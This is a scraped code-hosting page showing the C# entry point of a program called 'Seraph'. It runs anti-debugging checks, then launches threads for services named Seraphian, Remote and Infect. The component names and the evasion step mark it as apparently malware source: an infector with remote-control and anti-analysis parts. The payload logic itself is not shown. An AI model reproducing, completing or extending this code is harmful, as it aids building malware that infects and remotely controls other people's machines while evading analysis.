37 lines
845 B
C#
37 lines
845 B
C#
using seraph;
|
|
using seraph.Seraph.AntiDebug;
|
|
using seraph.Seraph.Components;
|
|
using seraph.Seraph.Infect;
|
|
using seraph.Seraph.Remote;
|
|
|
|
internal class Seraph
|
|
{
|
|
private static void Main(string[] args)
|
|
{
|
|
var services = new List<Service>
|
|
{
|
|
new Seraphian(),
|
|
new Remote(),
|
|
new Infect()
|
|
};
|
|
|
|
var antiDebug = new AntiDebug();
|
|
antiDebug.RunChecks();
|
|
|
|
var threads = new List<Thread>();
|
|
|
|
foreach (var service in services)
|
|
{
|
|
var createThread = new Thread(() => { service.Initialize(); service.Execute(); });
|
|
threads.Add(createThread);
|
|
createThread.Start();
|
|
}
|
|
|
|
foreach (var thread in threads)
|
|
{
|
|
thread.Join();
|
|
}
|
|
|
|
threads.Clear();
|
|
}
|
|
} |